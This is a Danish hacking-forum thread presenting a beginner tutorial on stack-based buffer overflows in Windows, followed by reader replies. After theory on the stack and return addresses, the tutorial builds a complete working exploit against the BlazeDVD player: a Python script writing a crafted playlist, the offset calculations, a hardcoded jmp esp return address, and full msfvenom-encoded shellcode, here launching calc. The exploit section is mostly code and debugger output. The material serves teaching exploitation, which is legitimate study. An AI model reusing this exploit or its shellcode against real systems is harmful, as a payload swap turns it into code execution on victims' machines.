Shellsec

Fuld version: Buffer Overflows 101 - Stak baserede overflows
Du ser lige nu en skrabet udgave af vores indhold. Se den fulde version med ordentlig formatering.
Sider: 1 2
Sæt jer ned børn. I dag skal vi lære om buffer overflows og hvorfor de er så vanvittigt interessante. Lektionen starter med noget kedelig teori men slutter af med at vi skriver et exploit til et vaskeægte stykke software så stay tuned!
Vi holder os i denne lektion til stakbaserede overflows på Windows, men det meste kan ligeledes bruges på andre platforme.
Jeg forventer, at du ved lidt om maskinarkitektur, såsom hvad et register er, men du behøver ikke den helt store viden om assembly. Det kommer senere. Er du helt blank på det område kan du læse en intro til assembly her: https://www.shellsec.pw/showthread.php?tid=969

Buffer overflows er én af de ældste typer af sårbarheder i software men også en af de mest persistente. Man har forsøgt meget for at gøre det sværere at udnytte dem, men det er aldrig lykkedes fuldstændig at forhindre dem.

Men hvad er et buffer overflow så?

Når et program eksekverer på en computer, så får det noget hukommelse stillet til rådighed og den hukommelse deles typisk op i forskellige dele:
  • Et område til hver eksekverbar fil (whatever.exe, kernel32.dll, osv.). Det deles så yderligere op i kode og data segmenter
  • Heap som bruges til dynamisk allokeret hukommelse
  • Stak

I denne forbindelse er stakken den mest interessante. Stakken bruges under programmets eksekvering til at indeholde funktionernes lokale variable, til midlertidigt at gemme indholdet af et register, som vi skal kunne genskabe senere, og til at indeholde returadresser!
Det sidste er meget interessant.

Når vi udfører en funktion, f.eks. som i følgende lille C program:

#include <stdio.h>

int add(int first, int second) {
return first + second;
}

int main(int argc, char ** argv) {
int sum = add(7, 8);
printf("Sum: %d\n", sum);

return 0;
}

Så vil computeren først udføre 'add' funktionen, derefter 'printf'. Den vil altså springe væk fra 'main' funktionen og ind i 'add', og derefter tilbage til 'main' og derefter til 'printf' og så tilbage til 'main' igen. Hvordan gør den så det?

Funktionskald udføres med 'call' instruktionen. Call gør to ting: Først lægger den addressen på den NÆSTE instruktion på stakken, derefter springer den til funktionen.
Så adressen, som der skal returneres til ligger altså øverst på stakken, når man når ind i 'add'. Når 'add' er færdig returnerer den så til denne adresse, og det gør den med 'ret' instruktionen.
'ret' fjerner det øverste element fra stakken og lægger denne ind i instruktions pointeren, som i X86 processoren er et register ved navn EIP (med 32 bit programmer) eller RIP (med 64 bit programmer). Vi holder os til 32 bits i denne lektion.

Lokale variable og argumenter til funktioner ligger også på stakken. Tag følgende eksempel:

#include <string.h>

void copy_string(char * str) {
char buffer[64];
strcpy(buffer, str);
}

int main(int argc, char ** argv) {
if (argc > 1) {
copy_string(argv[1]);
}
}

Den kopierer den en streng ind i en lokal variabel (en buffer af størrelsen 64 bytes). Når 'strcpy' kaldes, så ser stakken således ud:

[Billede: cpideDc.png]

'strcpy' vil så kopiere bytes ind i buffer indtil den finder en nul byte. Men hvad sker der, hvis der er mere end 64 tegn i strengen?
Så fortsætter 'strcpy' med at overskrive retur adressen, og når så 'copy_string' vil returnere, så er det den nye adresse, der returneres til. Med andre ord så overflower vi bufferen.

I gamle dage var alt meget forudsigeligt, så man vidste, hvor stakken lå og alt andet, så man kunne også være sikker på, at bufferen lå på samme sted i hukommelsen hver gang. Man kunne derfor overskrive retur adressen med adressen på bufferen og så ville programmet springe dertil og starte med at eksekvere, hvad der nu lå der.

Helt så simpelt er det ikke længere, for ASLR (Address Space Layout Randomization) er blevet tilføjet til de fleste operativ systemer, så stakken ligger på et tilfældigt sted hver gang programmet starter...men måske er der andet der ikke er tilfældigt?

Selve programmet bliver typisk indlæst på samme sted hver gang, og hvis der er et register, som peger på bufferen, så kan vi måske finde en instruktion i programmet, som hopper til adressen i registeret. Så har vi en fast adresse, som vi kan springe til og som vil føre os til bufferen.
Bufferen indeholder jo så den streng, som vi har leveret og den kan så indeholde noget maskinkode, som vi vil have udført. En sådan stump kode kaldes typisk for shellcode, for i tidernes morgen startede denne kode typisk en shell, men det kan være hvad som helst kun begrænset af hvad programmet selv kan finde på at gøre.

Nok snak, lad os prøve dette af i praksis!
Vi skal bruge noget software:
mona.py installeres ved at kopiere filen ind i Immunity Debuggers PyCommands bibliotek.

Kort fortalt så indeholder BlazeDVD en stakbaseret buffer overflow. Når den indlæser en playliste, så bliver filen indlæst én linje ad gangen. Men hvis vi laver en playliste med en lang linje (500 tegn), så brækker BlazeDVD sig. Jeg skriver næsten alle mine exploits i Python, så vi starter ud med følgende exploit, som vi vil udvidde løbende:
#!/usr/bin/python

with open("sploit.plf", "w") as f:
f.write("A" * 500)

Start med at åbne Immunity Debugger.og åben BlazeDVD deri (File->Open...og så videre). Det skulle gerne se således ud:
[Billede: VqhNKEe.png]

Øverst til venstre er en disassembler, som viser maskinkoden hvor vi eksekverer lige nu. Øverst til højre ser vi værdierne af registrene. Nederst til højre ser vi toppen af stakken og nederst til venstre ser vi et hex view af hukommelsen.

Allernederst er der et tekstfelt, hvor vi kan udføre kommandoer i Immunity Debugger.

Et par gode genveje i Immunity er følgende:
  • Indsæt/Fjern breakpoint: <f2>
  • Kør debuggede program: <f9>
  • Genstart debuggede program: <ctrl>+<f2>

Der er flere gode, men det er dem, vi vil bruge her.
Start med at udføre vores exploit og generer vores 'sploit.plf' playliste. Start derefter BlazeDVD via Immunity (<f9>).
BlazeDVD starter med at bede os om at købe og registrere produktet. Det vil vi ikke, så tryk 'Trial' knappen. Tryk derefter på Åben knappen og vælg "Open Playlist...". Find derefter vores playliste og vælg "Åbn".

BANG!
Programmet springer i luften og debuggeren tager over. Det skulle gerne se således ud:
[Billede: L4ryicr.png]

Kig over i registrene, EIP indeholder værdien '41414141'. 0x41 er ascii koden for bogstavet 'A', så det passer med, at vi har overskrevet returadressen med 'A'. Og 'ESP', som er stak registret, peger på en lang række A'er.

Nice, men hvor mange tegn skal vi skrive, før vi når EIP? Og præcis hvor i strengen peger ESP?

Istedet for at skrive en masse Aer kan vi f.eks. skrive 10 A'er, 10 B'er, 10 C'er og så videre, så kan vi hurtigt indsnævre det. Men de gode folk hos Metasploit har lavet et værktøj, som gør det hele nemmere. 'pattern_create.rb' laver et mønster af bogstaver, hvor der ikke er gentagelser. 'pattern_offset.rb' kan så fortælle, hvor i teksten et sub mønster befinder sig. Snedigt!

Lav en playliste i Kali eller hvor du nu har installeret Metasploit:
Kode:
$ pattern_create.rb 500 > sploit.plf
$ cat sploit.plf
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq

Genstart BlazeDVD (<ctrl>+<f2> efterfulgt af <f9>) og åben den nye playliste. Det giver følgende:
[Billede: vsUWZEy.png]

Nu indeholder 'EIP' '37694136' og 'ESP' peger på 'j3Aj4Aj....'.
Vi kan nu spørge 'pattern_offset.rb' hvor disse to mønstre findes:
Kode:
$ pattern_offset.rb 0x37694136
[*] Exact match at offset 260
$ pattern_offset.rb j3Aj
[*] Exact match at offset 280

Så 'EIP' bliver overskrevet af de fire bytes der følger de første 260, og 'EIP' peger 280 bytes ind i strengen.
Vi prøver ændre vores exploit at overskrive 'EIP' med 0xdeadbeef istedet og få 'ESP' til at pege på strengen 'Hello, Buffer Overflow, World!':
#!/usr/bin/python

with open("sploit.plf", "w") as f:
f.write("A" * 260 + "\xef\xbe\xad\xde" + "B" * 16 + "Hello, Buffer Overflow, World!")

Kør exploitet så playlisten bliver opdateret, genstart BlazeDVD og åben playlisten:
[Billede: qqihqmj.png]

Perfekt!
Så, hvis vi lægger vores shellcode, hvor vi skrev 'Hello...', og istedet for 0xdeadbeef overskriver 'EIP' med adressen på en instruktion, der hopper til 'ESP', så har vi vundet.

mona.py er et fantastisk lille plugin, og én af dens muligheder er at søge efter instruktioner. I Immunitys kommandolinje skriver du:
Kode:
!mona findwild -n -o -s "jmp esp"

Hvis ikke Immunitys log popper op, så tryk <alt>+<l>:
[Billede: vkpF29Q.png]

Vi kan ikke lide moduler med ASLR og Rebase, så lad os tage 0x616525cb. Tryk <alt>+<c> for at komme tilbage til det tidligere view.
Nu skal vi så også have en shellcode, men at udvikle sådan en er vist i overkanten i dag. Heldigvis har Metasploit folket også lavet en masse af den slags, så vi nupper en af dem. I Kali skriver du følgende:

Kode:
$ ./msfvenom -p windows/exec -e x86/alpha_mixed -f python CMD=calc BufferRegister=ESP
[*] x86/alpha_mixed succeeded with size 446 (iteration=1)
buf =  ""
buf += "\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30"
buf += "\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
buf += "\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
buf += "\x69\x6c\x79\x78\x6d\x59\x55\x50\x65\x50\x57\x70\x45"
buf += "\x30\x6e\x69\x4d\x35\x30\x31\x5a\x72\x50\x64\x4c\x4b"
buf += "\x73\x62\x76\x50\x6e\x6b\x42\x72\x34\x4c\x4c\x4b\x52"
buf += "\x72\x42\x34\x4c\x4b\x54\x32\x54\x68\x76\x6f\x6d\x67"
buf += "\x62\x6a\x55\x76\x56\x51\x39\x6f\x54\x71\x79\x50\x6e"
buf += "\x4c\x67\x4c\x51\x71\x73\x4c\x57\x72\x56\x4c\x47\x50"
buf += "\x4a\x61\x38\x4f\x54\x4d\x36\x61\x6f\x37\x7a\x42\x78"
buf += "\x70\x36\x32\x33\x67\x6c\x4b\x70\x52\x56\x70\x4e\x6b"
buf += "\x62\x62\x77\x4c\x45\x51\x6a\x70\x6c\x4b\x37\x30\x50"
buf += "\x78\x4f\x75\x6b\x70\x64\x34\x32\x6a\x37\x71\x48\x50"
buf += "\x46\x30\x4e\x6b\x63\x78\x44\x58\x6c\x4b\x52\x78\x61"
buf += "\x30\x37\x71\x68\x53\x49\x73\x47\x4c\x73\x79\x6c\x4b"
buf += "\x35\x64\x4e\x6b\x76\x61\x48\x56\x76\x51\x49\x6f\x36"
buf += "\x51\x6b\x70\x6c\x6c\x49\x51\x7a\x6f\x56\x6d\x56\x61"
buf += "\x68\x47\x45\x68\x39\x70\x61\x65\x79\x64\x57\x73\x71"
buf += "\x6d\x6a\x58\x77\x4b\x63\x4d\x57\x54\x30\x75\x78\x62"
buf += "\x51\x48\x6e\x6b\x51\x48\x37\x54\x43\x31\x39\x43\x71"
buf += "\x76\x6c\x4b\x56\x6c\x30\x4b\x4c\x4b\x72\x78\x37\x6c"
buf += "\x45\x51\x4e\x33\x6e\x6b\x57\x74\x4c\x4b\x36\x61\x38"
buf += "\x50\x6b\x39\x42\x64\x57\x54\x67\x54\x33\x6b\x73\x6b"
buf += "\x51\x71\x43\x69\x62\x7a\x43\x61\x4b\x4f\x6b\x50\x50"
buf += "\x58\x73\x6f\x52\x7a\x6c\x4b\x66\x72\x38\x6b\x4e\x66"
buf += "\x73\x6d\x73\x5a\x65\x51\x6e\x6d\x4d\x55\x4d\x69\x73"
buf += "\x30\x57\x70\x43\x30\x36\x30\x35\x38\x34\x71\x4e\x6b"
buf += "\x42\x4f\x4b\x37\x59\x6f\x69\x45\x6f\x4b\x78\x70\x6e"
buf += "\x55\x69\x32\x33\x66\x61\x78\x4e\x46\x6d\x45\x4d\x6d"
buf += "\x6f\x6d\x4b\x4f\x6b\x65\x35\x6c\x55\x56\x31\x6c\x64"
buf += "\x4a\x4d\x50\x59\x6b\x59\x70\x33\x45\x34\x45\x6f\x4b"
buf += "\x53\x77\x56\x73\x54\x32\x50\x6f\x73\x5a\x35\x50\x42"
buf += "\x73\x69\x6f\x5a\x75\x52\x43\x55\x31\x70\x6c\x35\x33"
buf += "\x53\x30\x41\x41"

Denne shellcode vil starte Windows lommeregneren og det er nærmest defacto standarden for et harmløst exploit.

Vi stopper vores nyfundne adresse og shellcode ind i vores exploit:
#!/usr/bin/python

jmp_esp = "\xcb\x25\x65\x61"
buf = ""
buf += "\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30"
buf += "\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
buf += "\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
buf += "\x69\x6c\x79\x78\x6d\x59\x55\x50\x65\x50\x57\x70\x45"
buf += "\x30\x6e\x69\x4d\x35\x30\x31\x5a\x72\x50\x64\x4c\x4b"
buf += "\x73\x62\x76\x50\x6e\x6b\x42\x72\x34\x4c\x4c\x4b\x52"
buf += "\x72\x42\x34\x4c\x4b\x54\x32\x54\x68\x76\x6f\x6d\x67"
buf += "\x62\x6a\x55\x76\x56\x51\x39\x6f\x54\x71\x79\x50\x6e"
buf += "\x4c\x67\x4c\x51\x71\x73\x4c\x57\x72\x56\x4c\x47\x50"
buf += "\x4a\x61\x38\x4f\x54\x4d\x36\x61\x6f\x37\x7a\x42\x78"
buf += "\x70\x36\x32\x33\x67\x6c\x4b\x70\x52\x56\x70\x4e\x6b"
buf += "\x62\x62\x77\x4c\x45\x51\x6a\x70\x6c\x4b\x37\x30\x50"
buf += "\x78\x4f\x75\x6b\x70\x64\x34\x32\x6a\x37\x71\x48\x50"
buf += "\x46\x30\x4e\x6b\x63\x78\x44\x58\x6c\x4b\x52\x78\x61"
buf += "\x30\x37\x71\x68\x53\x49\x73\x47\x4c\x73\x79\x6c\x4b"
buf += "\x35\x64\x4e\x6b\x76\x61\x48\x56\x76\x51\x49\x6f\x36"
buf += "\x51\x6b\x70\x6c\x6c\x49\x51\x7a\x6f\x56\x6d\x56\x61"
buf += "\x68\x47\x45\x68\x39\x70\x61\x65\x79\x64\x57\x73\x71"
buf += "\x6d\x6a\x58\x77\x4b\x63\x4d\x57\x54\x30\x75\x78\x62"
buf += "\x51\x48\x6e\x6b\x51\x48\x37\x54\x43\x31\x39\x43\x71"
buf += "\x76\x6c\x4b\x56\x6c\x30\x4b\x4c\x4b\x72\x78\x37\x6c"
buf += "\x45\x51\x4e\x33\x6e\x6b\x57\x74\x4c\x4b\x36\x61\x38"
buf += "\x50\x6b\x39\x42\x64\x57\x54\x67\x54\x33\x6b\x73\x6b"
buf += "\x51\x71\x43\x69\x62\x7a\x43\x61\x4b\x4f\x6b\x50\x50"
buf += "\x58\x73\x6f\x52\x7a\x6c\x4b\x66\x72\x38\x6b\x4e\x66"
buf += "\x73\x6d\x73\x5a\x65\x51\x6e\x6d\x4d\x55\x4d\x69\x73"
buf += "\x30\x57\x70\x43\x30\x36\x30\x35\x38\x34\x71\x4e\x6b"
buf += "\x42\x4f\x4b\x37\x59\x6f\x69\x45\x6f\x4b\x78\x70\x6e"
buf += "\x55\x69\x32\x33\x66\x61\x78\x4e\x46\x6d\x45\x4d\x6d"
buf += "\x6f\x6d\x4b\x4f\x6b\x65\x35\x6c\x55\x56\x31\x6c\x64"
buf += "\x4a\x4d\x50\x59\x6b\x59\x70\x33\x45\x34\x45\x6f\x4b"
buf += "\x53\x77\x56\x73\x54\x32\x50\x6f\x73\x5a\x35\x50\x42"
buf += "\x73\x69\x6f\x5a\x75\x52\x43\x55\x31\x70\x6c\x35\x33"
buf += "\x53\x30\x41\x41"

with open("sploit.plf", "w") as f:
f.write("A" * 260 + jmp_esp + "B" * 16 + buf)

Kør exploit, genstart BlazeDVD, indlæs playlist.
[Billede: slpM1Wf.png]

Tadaaa!

Her er et par øvelser:
Held og lykke!
Satte mig til at læse den hele med det samme. Rigtig god læsning.
Kan rigtig godt lide at du forventer at folk selv kan noget, så du ikke forklare alle de simple ting og kun fokusere på det vigtige.
En lille tilføjelse kunne være i starten at smide et link til iTicks assembly tutorial(https://shellsec.pw/showthread.php?tid=969). Den kombineret med denne her, giver et rigtig godt udgangspunkt til at starte med exploiting hvis man vil hurtigt i gang :)
Virkelig godt bidrag!
Lækker gennemgang, jeg har tilføjet din tråd til min oversigt, helt sikkert uundværlig viden for de der interesserer sig for området :)
https://www.shellsec.pw/showthread.php?t...80#pid3080
Rigtig godt eksempel. Men vi forventer ikke mindre fra dig. :)
Er det virkelig programmer som stadig ikke bruger strncpy? ;)
Super fedt, du også kommer ind på indirekte kald til din payload.
Når du laver dit indirekte kald, altså jump til et register i stedet for, direkte til din payload, bruger du så user32 eller kernel32?

Jeg må også give de andre ret. Det er fint, du forventer lidt af folk. Det er trods alt ikke det nemmeste i verden. :)
Bruger du bare msfencode til de payloads som f.eks. indeholder 00, så du ikke får termineret din streng?
Godt I kan lide det.
Link til assembly intro tilføjet.
Er der noget med at I har et overpowered code tag?
Citer:Er det virkelig programmer som stadig ikke bruger strncpy? ;)
Givetvis, men det konkrete eksempel jeg kom med her brugte noget andet for min streng kom fra en fil og havde ikke nul terminering. Udvikleren havde måske lavet noget ala følgende:
Kode:
char buffer[120];
int i = 0;
while ((c = fgetc(file)) != '\n') {
  buffer[i++] = c;
}

Men der er mange andre måder, man kan nå i en buffer overflow tilstand. Integer overflows og conversion bugs er meget typiske, og laver man selv parsere og skal kopiere f.eks. teksten mellem to anførselstegn, så er det også set at man glemmer noget.
Eller at man regner forkert, når man ad flere omgange appender til en streng.

Citer:Når du laver dit indirekte kald, altså jump til et register i stedet for, direkte til din payload, bruger du så user32 eller kernel32?
Hverken eller. Instruktioner som f.eks. 'jmp esp' kaldes en trampolin, for den bruges i vores tilfælde til at springe videre med. Man skal helst undgå at bruge trampoliner i operativsystemet, for gør man det, så vil dit exploit afhænge af den konkrete version af operativsystemet. Havde jeg brugt en trampolin i kernel32.dll, så ville det ikke virke på maskiner med en anden version af kernel32.dll. Så jeg forsøger altid så vidt muligt at finde trampoliner i den sårbare applikation.

Når først vi så er nået til vores shellcode, så skal vi finde et par dll'er for at kunne eksekvere noget fornuftigt kode. Alle Metasploits Windows payloads indeholder det samme skelet, som er beskrevet her: http://blog.the-playground.dk/2012/11/un...ode-3.html

Citer:Bruger du bare msfencode til de payloads som f.eks. indeholder 00, så du ikke får termineret din streng?
Metasploit folket fandt ud af at msfpayload og msfencode burde være ét program...så de lavede msfvenom.
Den konkrete sårbarhed indeholder temmelig mange såkaldte "bad characters", så jeg bruger Metasploits alpha_mixed encoder, som omkoder det valgte payload til udelukkende at indeholde bytes fra alfabetet samt tal.
Prøv at kigge i playlist filen. Den indeholder intet binært (bortset fra retur adressen), kun ren tekst. MAGI!
Men ja, jeg bruger typisk en encoder istedet for manuelt at fjerne bad characters...de dage er ovre!
(03-12-2013, 18:37)BlimBlamBlar Skrev: [ -> ]Godt I kan lide det.
Link til assembly intro tilføjet.
Er der noget med at I har et overpowered code tag?

Jo :)
[shcode=markup

Så skriver du bare shcode=c eller shcode=cpp eller hvilken highlighting du nu skal have på.
(04-12-2013, 10:33)Doctor Blue Skrev: [ -> ]Jo :)
[shcode=markup

Så skriver du bare shcode=c eller shcode=cpp eller hvilken highlighting du nu skal have på.

Øh bøh...little help. Tror jeg har misforstået og fucked noget op.

Ah...den forstod ikke shcode=c, så ændrede det til shcode=cpp
(04-12-2013, 11:41)BlimBlamBlar Skrev: [ -> ]Øh bøh...little help. Tror jeg har misforstået og fucked noget op.

Ah...den forstod ikke shcode=c, så ændrede det til shcode=cpp

Jep, den har disse scripts:
Kode:
shBrush_applescript.js  shBrush_delphi.js   shBrush_perl.js    shBrush_scala.js
shBrush_as3.js          shBrush_diff.js     shBrush_php.js     shBrush_sql.js
shBrush_bash.js         shBrush_erlang.js   shBrush_plain.js   shBrush_vbnet.js
shBrush_cf.js           shBrush_groovy.js   shBrush_ps.js      shBrush_xml.js
shBrush_cpp.js          shBrush_javafx.js   shBrush_python.js
shBrush_c-sharp.js      shBrush_java.js     shBrush_rails.js
shBrush_css.js          shBrush_jscript.js  shBrush_sass.js
Så jeg tror bare du skal bruge cpp :)
Lækker trod mate :D
Jeg lærte da en del af at læse den ihvertfald!
Sider: 1 2